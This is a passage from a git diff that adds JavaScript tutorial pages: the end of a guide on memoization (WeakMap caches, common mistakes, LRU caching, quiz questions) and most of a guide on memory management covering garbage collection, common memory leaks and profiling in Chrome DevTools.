+```javascript +// Problem 1: Objects with same content create different keys +const obj1 = { a: 1 } +const obj2 = { a: 1 } +JSON.stringify(obj1) === JSON.stringify(obj2) // true, but... + +// Problem 2: Object identity is lost +const cache = new Map() +cache.set(JSON.stringify(obj1), 'result') +cache.has(JSON.stringify(obj2)) // true — but obj1 and obj2 are different objects! + +// Problem 3: Memory leak — objects can't be garbage collected +// Even if obj1 is no longer used elsewhere, the stringified key keeps data alive +``` + +[`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) solves these problems: + +```javascript +function memoizeWithWeakMap(fn) { + const cache = new WeakMap() + + return function(obj) { + if (cache.has(obj)) { + return cache.get(obj) + } + + const result = fn(obj) + cache.set(obj, result) + return result + } +} + +const processUser = memoizeWithWeakMap(function(user) { + console.log('Processing...') + return { ...user, processed: true } +}) + +const user = { name: 'Alice' } +processUser(user) // "Processing..." → { name: 'Alice', processed: true } +processUser(user) // Cached! (same object reference) + +const sameData = { name: 'Alice' } +processUser(sameData) // "Processing..." (different object, not cached) +``` + +### WeakMap Benefits + +1. **Memory-safe:** When an object key is no longer referenced elsewhere, both the key and its cached value can be garbage collected +2. **Object identity:** Caches based on object reference, not content +3. **No serialization:** No need to stringify objects + +### WeakMap Limitations + +- Keys must be objects (no primitives) +- Not iterable (can't list all cached entries) +- No `size` property (can't check cache size) + +```javascript +// Hybrid approach: Use both Map and WeakMap +function memoizeHybrid(fn) { + const primitiveCache = new Map() + const objectCache = new WeakMap() + + return function(arg) { + const cache = typeof arg === 'object' && arg !== null + ? objectCache + : primitiveCache + + if (cache.has(arg)) { + return cache.get(arg) + } + + const result = fn(arg) + cache.set(arg, result) + return result + } +} +``` + +--- + +## Common Memoization Mistakes + +### Mistake 1: Memoizing Impure Functions + +```javascript +// ❌ WRONG: Function depends on external state +let taxRate = 0.08 + +const calculateTax = memoize(function(price) { + return price * taxRate +}) + +calculateTax(100) // 8 +taxRate = 0.10 +calculateTax(100) // Still 8! Cache doesn't know taxRate changed. + +// ✓ CORRECT: Make the dependency an argument +const calculateTax = memoize(function(price, rate) { + return price * rate +}) + +calculateTax(100, 0.08) // 8 +calculateTax(100, 0.10) // 10 (different arguments = different cache key) +``` + +### Mistake 2: Forgetting Argument Order Matters + +```javascript +const add = memoize((a, b) => a + b) + +add(1, 2) // Calculates: 3, cached as "[1,2]" +add(2, 1) // Calculates again: 3, cached as "[2,1]" + +// These are different cache keys even though the result is the same! +// For commutative operations, consider normalizing arguments: + +function memoizeCommutative(fn) { + const cache = new Map() + + return function(...args) { + const key = JSON.stringify(args.slice().sort()) // Sort for consistent key + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) + cache.set(key, result) + return result + } +} +``` + +### Mistake 3: Not Handling `this` Context + +```javascript +// ❌ WRONG: Loses 'this' context +function badMemoize(fn) { + const cache = new Map() + return function(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn(...args) // 'this' is lost! + cache.set(key, result) + return result + } +} + +// ✓ CORRECT: Preserve 'this' with apply +function goodMemoize(fn) { + const cache = new Map() + return function(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) // 'this' preserved + cache.set(key, result) + return result + } +} +``` + +### Mistake 4: Recursive Function References Wrong Version + +```javascript +// ❌ WRONG: Inner function calls itself, not the memoized version +const factorial = memoize(function fact(n) { + if (n <= 1) return 1 + return n * fact(n - 1) // Calls 'fact', not 'factorial'! +}) + +// ✓ CORRECT: Reference the memoized variable +const factorial = memoize(function(n) { + if (n <= 1) return 1 + return n * factorial(n - 1) // Calls 'factorial' — the memoized version +}) +``` + +--- + +## Advanced: LRU Cache for Bounded Memory + +Standard memoization caches grow unbounded. For production use, consider a Least Recently Used (LRU) cache that evicts old entries: + +```javascript +function memoizeLRU(fn, maxSize = 100) { + const cache = new Map() + + return function(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + // Move to end (most recently used) + const value = cache.get(key) + cache.delete(key) + cache.set(key, value) + return value + } + + const result = fn.apply(this, args) + + // Evict oldest entry if at capacity + if (cache.size >= maxSize) { + const oldestKey = cache.keys().next().value + cache.delete(oldestKey) + } + + cache.set(key, result) + return result + } +} + +const fibonacci = memoizeLRU(function(n) { + if (n <= 1) return n + return fibonacci(n - 1) + fibonacci(n - 2) +}, 50) // Only keep 50 most recent results +``` + +This implementation leverages the fact that [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) maintains insertion order, so the first key is always the oldest. + +--- + +## Key Takeaways + +<Info> +**The key things to remember about memoization:** + +1. **Memoization caches function results** — it stores the output for given inputs and returns the cached value on subsequent calls with the same inputs + +2. **Only memoize pure functions** — the function must always return the same output for the same input, with no side effects + +3. **Trade memory for speed** — every cached result consumes memory, so memoization is a space-time tradeoff + +4. **Best for expensive, repeated computations** — recursive algorithms, CPU-intensive calculations, and functions called many times with the same arguments + +5. **Use `Map` for primitive arguments** — `Map` provides O(1) lookup and handles any value type as keys + +6. **Use `WeakMap` for object arguments** — prevents memory leaks by allowing garbage collection of unused keys + +7. **Create cache keys carefully** — `JSON.stringify(args)` works for primitives but has limitations with objects, functions, and undefined values + +8. **Recursive functions must reference the memoized version** — otherwise only the outer call benefits from caching + +9. **Don't memoize fast functions** — if computation is cheaper than cache lookup, memoization hurts performance + +10. **Consider bounded caches in production** — LRU caches prevent unbounded memory growth in long-running applications +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What is memoization?"> + **Answer:** + + Memoization is an optimization technique that caches the results of function calls. When a memoized function is called with arguments it has seen before, it returns the cached result instead of recalculating. + + ```javascript + const memoizedFn = memoize(expensiveFunction) + + memoizedFn(5) // Calculates and caches + memoizedFn(5) // Returns cached result (no calculation) + ``` + </Accordion> + + <Accordion title="Question 2: Why should you only memoize pure functions?"> + **Answer:** + + Pure functions always return the same output for the same input and have no side effects. If you memoize an impure function: + + 1. **Results may be wrong** — if the function depends on external state that changes, cached results become stale + 2. **Side effects are skipped** — on cache hits, the function body doesn't execute, so side effects don't happen + + ```javascript + // ❌ Impure: depends on external state + let multiplier = 2 + const multiply = memoize(n => n * multiplier) + + multiply(5) // 10, cached + multiplier = 3 + multiply(5) // Still 10! Should be 15. + ``` + </Accordion> + + <Accordion title="Question 3: How does memoization improve Fibonacci performance?"> + **Answer:** + + Naive recursive Fibonacci has O(2^n) time complexity because it recalculates the same values many times. For `fib(5)`, it calculates `fib(2)` three times. + + Memoized Fibonacci has O(n) time complexity because each value is calculated only once and then retrieved from cache. + + ```javascript + // Without memoization: fib(40) makes ~330 million calls + // With memoization: fib(40) makes 41 calls + ``` + </Accordion> + + <Accordion title="Question 4: When should you NOT use memoization?"> + **Answer:** + + Don't memoize when: + + 1. **Functions are fast** — cache lookup overhead exceeds computation time + 2. **Inputs are always unique** — cache grows but never provides hits + 3. **Functions have side effects** — side effects won't execute on cache hits + 4. **Memory is constrained** — cache can grow unbounded + 5. **Functions are impure** — cached results become invalid when external state changes + </Accordion> + + <Accordion title="Question 5: Why use WeakMap instead of Map for object arguments?"> + **Answer:** + + `WeakMap` allows garbage collection of keys when they're no longer referenced elsewhere. With `Map`, object keys (or their stringified versions) prevent garbage collection, causing memory leaks. + + ```javascript + // Map: object stays in memory even after you're done with it + const map = new Map() + let obj = { data: 'large' } + map.set(obj, 'cached') + obj = null // Object still referenced by map, can't be garbage collected! + + // WeakMap: object can be garbage collected + const weakMap = new WeakMap() + let obj = { data: 'large' } + weakMap.set(obj, 'cached') + obj = null // Object can now be garbage collected + ``` + </Accordion> + + <Accordion title="Question 6: What's wrong with this memoized recursive function?"> + ```javascript + const factorial = memoize(function fact(n) { + if (n <= 1) return 1 + return n * fact(n - 1) + }) + ``` + + **Answer:** + + The recursive call `fact(n - 1)` references the inner function name `fact`, not the outer memoized variable `factorial`. This means only the initial call benefits from caching; recursive calls bypass the cache entirely. + + **Fix:** Reference the memoized variable: + + ```javascript + const factorial = memoize(function(n) { + if (n <= 1) return 1 + return n * factorial(n - 1) // References the memoized version + }) + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Pure Functions" icon="flask" href="/concepts/pure-functions"> + Memoization only works reliably with pure functions that have no side effects + </Card> + <Card title="Scope and Closures" icon="box" href="/concepts/scope-and-closures"> + Memoize functions use closures to maintain access to the cache between calls + </Card> + <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> + `memoize` is a higher-order function that takes a function and returns an enhanced version + </Card> + <Card title="WeakMap & WeakSet" icon="ghost" href="/beyond/concepts/weakmap-weakset"> + WeakMap enables memory-safe memoization with object arguments + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Map — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map"> + The Map object holds key-value pairs and remembers insertion order, making it ideal for memoization caches + </Card> + <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> + WeakMap holds weak references to object keys, allowing garbage collection and preventing memory leaks + </Card> + <Card title="Closures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures"> + Closures enable memoized functions to maintain access to their cache across multiple calls + </Card> + <Card title="JSON.stringify() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"> + Used to create cache keys from function arguments in basic memoization implementations + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="How to use Memoize to cache JavaScript function results" icon="newspaper" href="https://www.freecodecamp.org/news/understanding-memoize-in-javascript-51d07d19430e/"> + Divyanshu Maithani's practical guide walks through building a memoize function from scratch. Includes the recursive Fibonacci example and explains why memoization works differently than general caching. + </Card> + <Card title="Understanding Memoization in JavaScript" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-memoization-in-javascript"> + Philip Obosi's comprehensive tutorial covers the connection between memoization and closures. Includes JSPerf benchmarks showing the dramatic performance difference. + </Card> + <Card title="Closures: Using Memoization" icon="newspaper" href="https://dev.to/steelvoltage/closures-using-memoization-3597"> + Brian Holt's Dev.to article connects memoization to closures with clear examples. Perfect for understanding how the cache persists between function calls. + </Card> + <Card title="JavaScript Function Memoization" icon="newspaper" href="https://blog.bitsrc.io/understanding-memoization-in-javascript-to-improve-performance-2c267c123ef3"> + Bits and Pieces guide on memoization patterns with real-world use cases and performance considerations for production applications. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Memoization And Dynamic Programming Explained" icon="video" href="https://www.youtube.com/watch?v=WbwP4w6TpCk"> + Web Dev Simplified demonstrates how memoization transforms exponential algorithms into linear ones. The Fibonacci visualization makes the optimization crystal clear. + </Card> + <Card title="What is Memoization? — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=lhNdUVh3qR8"> + Mattias Petter Johansson explains memoization with his signature engaging style. Great for understanding the "why" behind the technique. + </Card> + <Card title="Memoization in JavaScript" icon="video" href="https://www.youtube.com/watch?v=vKodE_3eSLU"> + Akshay Saini covers memoization in the context of JavaScript interviews, including common follow-up questions and gotchas. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/memory-management.mdx b/docs/beyond/concepts/memory-management.mdx new file mode 100644 index 00000000..7421fcd2 --- /dev/null +++ b/docs/beyond/concepts/memory-management.mdx @@ -0,0 +1,1021 @@ +--- +title: "Memory Management: How JavaScript Allocates and Frees Memory" +sidebarTitle: "Memory Management" +description: "Learn how JavaScript manages memory automatically. Understand the memory lifecycle, stack vs heap, common memory leaks, and how to profile memory with DevTools." +--- + +Why does your web app slow down over time? Why does that single-page application become sluggish after hours of use? The answer often lies in **memory management**, the invisible system that allocates and frees memory as your code runs. + +```javascript +// Memory is allocated automatically when you create values +const user = { name: 'Alice', age: 30 }; // Object stored in heap +const numbers = [1, 2, 3, 4, 5]; // Array stored in heap +let count = 42; // Primitive stored in stack + +// But what happens when these are no longer needed? +// JavaScript handles cleanup automatically... most of the time +``` + +Unlike languages like C where you manually allocate and free memory, JavaScript handles this automatically. But "automatic" doesn't mean "worry-free." Understanding how memory management works helps you write faster, more efficient code and avoid the dreaded memory leaks that crash applications. + +<Info> +**What you'll learn in this guide:** +- What memory management is and why it matters for performance +- The three phases of the memory lifecycle +- How stack and heap memory differ and when each is used +- Common memory leak patterns and how to prevent them +- How to profile memory usage with Chrome DevTools +- Best practices for writing memory-efficient JavaScript +</Info> + +--- + +## The Storage Unit Analogy: Understanding Memory + +Imagine you're running a storage facility. When customers (your code) need to store items (data), you: + +1. **Allocate** — Find an empty unit and assign it to them +2. **Use** — They store and retrieve items as needed +3. **Release** — When they're done, you reclaim the unit for other customers + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ MEMORY LIFECYCLE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ +│ │ ALLOCATE │ ───► │ USE │ ───► │ RELEASE │ │ +│ │ │ │ │ │ │ │ +│ │ Reserve │ │ Read/Write │ │ Free memory │ │ +│ │ memory │ │ data │ │ when done │ │ +│ └──────────────┘ └──────────────┘ └──────────────┘ │ +│ │ +│ JavaScript does You do this Garbage collector │ +│ this automatically explicitly does this for you │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +The tricky part? JavaScript handles allocation and release automatically, which means you don't always know when memory is freed. This can lead to memory building up when you expect it to be cleaned. + +--- + +## What is Memory Management? + +**[Memory management](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management)** is the process of allocating memory when your program needs it, using that memory, and releasing it when it's no longer needed. In JavaScript, this happens automatically through a system called garbage collection, which monitors objects and frees memory that's no longer reachable by your code. + +### The Memory Lifecycle + +Every piece of data in your program goes through three phases: + +<Steps> + <Step title="Allocation"> + When you create a variable, object, or function, JavaScript automatically reserves memory to store it. + + ```javascript + // All of these trigger memory allocation + const name = "Alice"; // String allocation + const user = { id: 1, name: "Alice" }; // Object allocation + const items = [1, 2, 3]; // Array allocation + function greet() { return "Hello"; } // Function allocation + ``` + </Step> + + <Step title="Use"> + Your code reads from and writes to allocated memory. This is the phase where you actually work with your data. + + ```javascript + // Using allocated memory + console.log(name); // Read from memory + user.age = 30; // Write to memory + items.push(4); // Modify allocated array + const message = greet(); // Execute function, allocate result + ``` + </Step> + + <Step title="Release"> + When data is no longer needed, the garbage collector frees that memory so it can be reused. This happens automatically when values become **unreachable**. + + ```javascript + function processData() { + const tempData = { huge: new Array(1000000) }; + // tempData is used here... + return tempData.huge.length; + } + // After processData() returns, tempData is unreachable + // The garbage collector will eventually free that memory + ``` + </Step> +</Steps> + +<Note> +**The hard part:** Determining when memory is "no longer needed" is actually an undecidable problem in computer science. Garbage collectors use approximations (like checking if values are reachable) rather than truly knowing if you'll use something again. +</Note> + +--- + +## Stack vs Heap: Two Types of Memory + +JavaScript uses two memory regions with different characteristics. Understanding when each is used helps you write more efficient code. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ STACK vs HEAP MEMORY │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ STACK (Fast, Ordered) HEAP (Flexible, Unordered) │ +│ ┌─────────────────────┐ ┌─────────────────────────────┐ │ +│ │ let count = 42 │ │ ┌─────────────────────┐ │ │ +│ ├─────────────────────┤ │ │ { name: "Alice" } │ │ │ +│ │ let active = true │ │ └─────────────────────┘ │ │ +│ ├─────────────────────┤ │ ┌───────────┐ │ │ +│ │ let price = 19.99 │ │ │ [1, 2, 3] │ │ │ +│ ├─────────────────────┤ │ └───────────┘ │ │ +│ │ (reference to obj)──┼────────────┼──►┌─────────────────┐ │ │ +│ └─────────────────────┘ │ │ { id: 1 } │ │ │ +│ │ └─────────────────┘ │ │ +│ Primitives stored directly │ │ │ +│ References point to heap └─────────────────────────────┘ │ +│ Objects stored here │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Stack Memory + +The **stack** is a fast, ordered region of memory used for: + +- **Primitive values** — numbers, strings, booleans, `null`, `undefined`, symbols, BigInt +- **References** — pointers to objects in the heap +- **Function call information** — local variables, arguments, return addresses + +```javascript +function calculateTotal(price, quantity) { + // These primitives are stored on the stack + const tax = 0.08; + const subtotal = price * quantity; + const total = subtotal + (subtotal * tax); + return total; +} +// When the function returns, stack memory is immediately reclaimed +``` + +**Characteristics:** +- Fixed size, very fast access +- Automatically managed (LIFO - Last In, First Out) +- Memory is freed immediately when functions return +- Limited in size (causes stack overflow if exceeded) + +### Heap Memory + +The **heap** is a larger, unstructured region used for: + +- **Objects** — including arrays, functions, dates, etc. +- **Dynamically sized data** — anything that can grow or shrink +- **Data that outlives function calls** + +```javascript +function createUser(name) { + // This object is allocated in the heap + const user = { + name: name, + createdAt: new Date(), + preferences: [] + }; + return user; // Reference returned, object persists in heap +} + +const alice = createUser("Alice"); +// The object still exists in heap memory, referenced by 'alice' +``` + +**Characteristics:** +- Dynamic size, slower access than stack +- Managed by garbage collector +- Memory freed only when values become unreachable +- No size limit (except available system memory) + +### How References Work + +When you assign an object to a variable, the variable holds a **reference** (like an address) pointing to the object in the heap: + +```javascript +const original = { value: 1 }; // Object in heap, reference in stack +const copy = original; // Same reference, same object! + +copy.value = 2; +console.log(original.value); // 2 — both point to the same object + +// To create an independent copy: +const independent = { ...original }; +independent.value = 3; +console.log(original.value); // Still 2 — different objects +``` + +--- + +## How JavaScript Allocates Memory + +JavaScript automatically allocates memory when you create values. Here's what triggers allocation: + +### Automatic Allocation Examples + +```javascript +// Primitive allocation +const n = 123; // Allocates memory for a number +const s = "hello"; // Allocates memory for a string +const b = true; // Allocates memory for a boolean + +// Object allocation +const obj = { a: 1, b: 2 }; // Allocates memory for object and values +const arr = [1, 2, 3]; // Allocates memory for array and elements +const fn = function() {}; // Allocates memory for function object + +// Allocation via operations +const s2 = s.substring(0, 3); // New string allocated +const arr2 = arr.concat([4, 5]); // New array allocated +const obj2 = { ...obj, c: 3 }; // New object allocated +``` + +### Allocation via Constructor Calls + +```javascript +const date = new Date(); // Allocates Date object +const regex = new RegExp("pattern"); // Allocates RegExp object +const map = new Map(); // Allocates Map object +const set = new Set([1, 2, 3]); // Allocates Set and stores values +``` + +### Allocation via DOM APIs + +```javascript +// Each of these allocates new objects +const div = document.createElement('div'); // Allocates DOM element +const text = document.createTextNode('Hi'); // Allocates text node +const fragment = document.createDocumentFragment(); +``` + +--- + +## Garbage Collection: Automatic Memory Release + +JavaScript uses **[garbage collection](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection)** to automatically free memory that's no longer needed. The key concept is **reachability**. + +### What is "Reachable"? + +A value is **reachable** if it can be accessed somehow, starting from "root" values: + +**Roots include:** +- Global variables +- Currently executing function's local variables and parameters +- Variables in the current chain of nested function calls + +```javascript +// Global variable — always reachable +let globalUser = { name: "Alice" }; + +function example() { + // Local variable — reachable while function executes + const localData = { value: 42 }; + + // Nested function can access outer variables + function inner() { + console.log(localData.value); // localData is reachable here + } + + inner(); +} // After example() returns, localData becomes unreachable +``` + +### The Mark-and-Sweep Algorithm + +Modern JavaScript engines use the **mark-and-sweep** algorithm: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ MARK-AND-SWEEP ALGORITHM │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Step 1: MARK Step 2: SWEEP │ +│ ───────────── ──────────── │ +│ Start from roots, Remove all objects │ +│ mark all reachable objects that weren't marked │ +│ │ +│ [root] [root] │ +│ │ │ │ +│ ▼ ▼ │ +│ ┌─────┐ ┌─────┐ ┌─────┐ │ +│ │ A │ ───► │ B │ │ A │ ───► │ B │ │ +│ │ ✓ │ │ ✓ │ │ │ │ │ │ +│ └─────┘ └─────┘ └─────┘ └─────┘ │ +│ │ +│ ┌─────┐ ┌─────┐ ╳─────╳ ╳─────╳ │ +│ │ C │ ───► │ D │ │ DEL │ │ DEL │ │ +│ │ │ │ │ ╳─────╳ ╳─────╳ │ +│ └─────┘ └─────┘ (Unreachable = deleted) │ +│ (Not reachable from root) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +<Tabs> + <Tab title="Example: Object Becomes Unreachable"> + ```javascript + let user = { name: "John" }; // Object is reachable via 'user' + + user = null; // Now the object has no references + // The garbage collector will eventually free it + ``` + </Tab> + <Tab title="Example: Multiple References"> + ```javascript + let user = { name: "John" }; + let admin = user; // Two references to the same object + + user = null; // Object still reachable via 'admin' + admin = null; // Now the object is unreachable + // Garbage collector can free it + ``` + </Tab> + <Tab title="Example: Interlinked Objects"> + ```javascript + function marry(man, woman) { + man.wife = woman; + woman.husband = man; + return { father: man, mother: woman }; + } + + let family = marry({ name: "John" }, { name: "Ann" }); + + family = null; // The entire structure becomes unreachable + // Even though John and Ann reference each other, + // they're unreachable from any root — so they're freed + ``` + </Tab> +</Tabs> + +<Warning> +**Important:** You cannot force or control when garbage collection runs. It happens automatically based on the JavaScript engine's internal heuristics. Don't write code that depends on specific GC timing. +</Warning> + +--- + +## Common Memory Leaks and How to Fix Them + +A **memory leak** occurs when your application retains memory that's no longer needed. Over time, this causes performance degradation and eventually crashes. Here are the most common causes: + +### 1. Accidental Global Variables + +```javascript +// ❌ BAD: Creating global variables accidentally +function processData() { + // Forgot 'const' — this creates a global variable! + leakedData = new Array(1000000); +} + +// ✅ GOOD: Use proper variable declarations +function processData() { + const localData = new Array(1000000); + // localData is freed when function returns +} + +// ✅ BETTER: Use strict mode to catch this error +"use strict"; +function processData() { + leakedData = []; // ReferenceError: leakedData is not defined +} +``` + +### 2. Forgotten Timers and Intervals + +```javascript +// ❌ BAD: Interval never cleared +function startPolling() { + const data = fetchHugeData(); + + setInterval(() => { + // This closure keeps 'data' alive forever! + console.log(data.length); + }, 1000); +} + +// ✅ GOOD: Store interval ID and clear when done +function startPolling() { + const data = fetchHugeData(); + + const intervalId = setInterval(() => { + console.log(data.length); + }, 1000); + + // Return cleanup function + return () => clearInterval(intervalId); +} + +const stopPolling = startPolling(); +// Later, when done: +stopPolling(); +``` + +### 3. Detached DOM Elements + +```javascript +// ❌ BAD: Keeping references to removed DOM elements +const elements = []; + +function addElement() { + const div = document.createElement('div'); + document.body.appendChild(div); + elements.push(div); // Reference stored +} + +function removeElement() { + const div = elements[0]; + document.body.removeChild(div); // Removed from DOM + // But still referenced in 'elements' array — memory leak! +} + +// ✅ GOOD: Remove references when removing elements +function removeElement() { + const div = elements.shift(); // Remove from array + document.body.removeChild(div); // Remove from DOM + // Now the element can be garbage collected +} +``` + +### 4. Closures Holding References + +```javascript +// ❌ BAD: Closure keeps large data alive +function createHandler() { + const hugeData = new Array(1000000).fill('x'); + + return function handler() { + // Even if we only use hugeData.length, + // the entire array is kept in memory + console.log(hugeData.length); + }; +} + +const handler = createHandler(); +// hugeData cannot be garbage collected while handler exists + +// ✅ GOOD: Only capture what you need +function createHandler() { + const hugeData = new Array(1000000).fill('x'); + const length = hugeData.length; // Extract needed value + + return function handler() { + console.log(length); // Only captures 'length' + }; +} +// hugeData can be garbage collected after createHandler returns +``` + +### 5. Event Listeners Not Removed + +```javascript +// ❌ BAD: Event listeners keep elements and handlers in memory +class Component { + constructor(element) { + this.element = element; + this.data = fetchLargeData(); + + this.handleClick = () => { + console.log(this.data); + }; + + element.addEventListener('click', this.handleClick); + } + + // No cleanup method! +} + +// ✅ GOOD: Always provide cleanup +class Component { + constructor(element) { + this.element = element; + this.data = fetchLargeData(); + + this.handleClick = () => { + console.log(this.data); + }; + + element.addEventListener('click', this.handleClick); + } + + destroy() { + this.element.removeEventListener('click', this.handleClick); + this.element = null; + this.data = null; + } +} +``` + +### 6. Growing Collections (Caches Without Limits) + +```javascript +// ❌ BAD: Unbounded cache +const cache = {}; + +function getData(key) { + if (!cache[key]) { + cache[key] = expensiveOperation(key); + } + return cache[key]; +} +// Cache grows forever! + +// ✅ GOOD: Use WeakMap for object keys (auto-cleanup) +const cache = new WeakMap(); + +function getData(obj) { + if (!cache.has(obj)) { + cache.set(obj, expensiveOperation(obj)); + } + return cache.get(obj); +} +// When obj is garbage collected, its cache entry is too + +// ✅ ALSO GOOD: Bounded LRU cache for string keys +class LRUCache { + constructor(maxSize = 100) { + this.cache = new Map(); + this.maxSize = maxSize; + } + + get(key) { + if (this.cache.has(key)) { + // Move to end (most recently used) + const value = this.cache.get(key); + this.cache.delete(key); + this.cache.set(key, value); + return value; + } + return undefined; + } + + set(key, value) { + if (this.cache.has(key)) { + this.cache.delete(key); + } else if (this.cache.size >= this.maxSize) { + // Delete oldest entry + const firstKey = this.cache.keys().next().value; + this.cache.delete(firstKey); + } + this.cache.set(key, value); + } +} +``` + +--- + +## Memory-Efficient Data Structures + +JavaScript provides special data structures designed for memory efficiency: + +### WeakMap and WeakSet + +[`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) and [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) hold "weak" references that don't prevent garbage collection: + +```javascript +// WeakMap: Associate data with objects without preventing GC +const metadata = new WeakMap(); + +function processElement(element) { + metadata.set(element, { + processedAt: Date.now(), + clickCount: 0 + }); +} + +// When 'element' is removed from DOM and dereferenced, +// its WeakMap entry is automatically removed too + +// Regular Map would keep the element alive: +const regularMap = new Map(); +regularMap.set(element, data); +// Even after element is removed, regularMap keeps it in memory! +``` + +**When to use:** +- Caching computed data for objects +- Storing private data associated with objects +- Tracking objects without preventing their cleanup + +### WeakRef (Advanced) + +[`WeakRef`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef) provides a weak reference to an object, allowing you to check if it still exists: + +```javascript +// Use case: Cache that allows garbage collection +const cache = new Map(); + +function getCached(key, compute) { + if (cache.has(key)) { + const ref = cache.get(key); + const value = ref.deref(); // Get object if it still exists + if (value !== undefined) { + return value; + } + } + + const value = compute(); + cache.set(key, new WeakRef(value)); + return value; +} +``` + +<Warning> +**Use WeakRef sparingly.** The exact timing of garbage collection is unpredictable. Code that relies on specific GC behavior may work differently across JavaScript engines or even between runs. Use WeakRef only for optimization, not correctness. +</Warning> + +--- + +## Profiling Memory with Chrome DevTools + +Chrome DevTools provides powerful tools for finding memory issues. + +### Using the Memory Panel + +<Steps> + <Step title="Open DevTools"> + Press `F12` or `Cmd+Option+I` (Mac) / `Ctrl+Shift+I` (Windows) + </Step> + + <Step title="Go to Memory Panel"> + Click the **Memory** tab + </Step> + + <Step title="Choose a Profile Type"> + - **Heap snapshot:** Capture current memory state + - **Allocation instrumentation on timeline:** Track allocations over time + - **Allocation sampling:** Statistical sampling (lower overhead) + </Step> + + <Step title="Take a Snapshot"> + Click **Take snapshot** to capture the heap + </Step> + + <Step title="Analyze Results"> + Look for: + - Objects with high **Retained Size** (memory they keep alive) + - Unexpected objects that should have been garbage collected + - Detached DOM nodes (search for "Detached") + </Step> +</Steps> + +### Finding Detached DOM Nodes + +Detached DOM nodes are elements removed from the document but still referenced in JavaScript: + +```javascript +// This creates a detached DOM tree +let detachedNodes = []; + +function leakMemory() { + const div = document.createElement('div'); + div.innerHTML = '<span>Lots of content...</span>'.repeat(1000); + detachedNodes.push(div); // Never added to DOM, but kept in array +} +``` + +**To find them in DevTools:** +1. Take a heap snapshot +2. In the filter box, type "Detached" +3. Look for `Detached HTMLDivElement`, etc. +4. Click to see what's retaining them + +### Comparing Snapshots + +To find memory leaks: + +1. Take a snapshot (baseline) +2. Perform the action you suspect leaks memory +3. Take another snapshot +4. Select the second snapshot +5. Change view to "Comparison" and select the first snapshot +6. Look for objects that increased unexpectedly + +--- + +## Best Practices for Memory-Efficient Code + +<AccordionGroup> + <Accordion title="1. Nullify References When Done"> + Help the garbage collector by explicitly removing references to large objects when you're done with them. + + ```javascript + function processLargeData() { + let data = loadHugeDataset(); + const result = analyze(data); + + data = null; // Allow GC to free the dataset + + return result; + } + ``` + </Accordion> + + <Accordion title="2. Use Object Pools for Frequent Allocations"> + Reuse objects instead of creating new ones in performance-critical code. + + ```javascript + class ParticlePool { + constructor(size) { + this.pool = Array.from({ length: size }, () => ({ + x: 0, y: 0, vx: 0, vy: 0, active: false + })); + } + + acquire() { + const particle = this.pool.find(p => !p.active); + if (particle) particle.active = true; + return particle; + } + + release(particle) { + particle.active = false; + } + } + ``` + </Accordion> + + <Accordion title="3. Avoid Creating Functions in Loops"> + Functions created in loops allocate new function objects each iteration. + + ```javascript + // ❌ BAD: Creates new function every iteration + items.forEach(item => { + element.addEventListener('click', () => handle(item)); + }); + + // ✅ GOOD: Create handler once + function createHandler(item) { + return () => handle(item); + } + // Or use a single delegated handler + container.addEventListener('click', (e) => { + const item = e.target.closest('[data-item]'); + if (item) handle(item.dataset.item); + }); + ``` + </Accordion> + + <Accordion title="4. Be Careful with String Concatenation"> + Strings are immutable; concatenation creates new strings. + + ```javascript + // ❌ BAD: Creates many intermediate strings + let result = ''; + for (let i = 0; i < 10000; i++) { + result += 'item ' + i + ', '; + } + + // ✅ GOOD: Build array, join once + const parts = []; + for (let i = 0; i < 10000; i++) { + parts.push(`item ${i}`); + } + const result = parts.join(', '); + ``` + </Accordion> + + <Accordion title="5. Clean Up in Lifecycle Methods"> + In frameworks like React, Vue, or Angular, always clean up in the appropriate lifecycle method. + + ```javascript + // React example + useEffect(() => { + const subscription = dataSource.subscribe(handleData); + + return () => { + subscription.unsubscribe(); // Cleanup on unmount + }; + }, []); + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about Memory Management:** + +1. 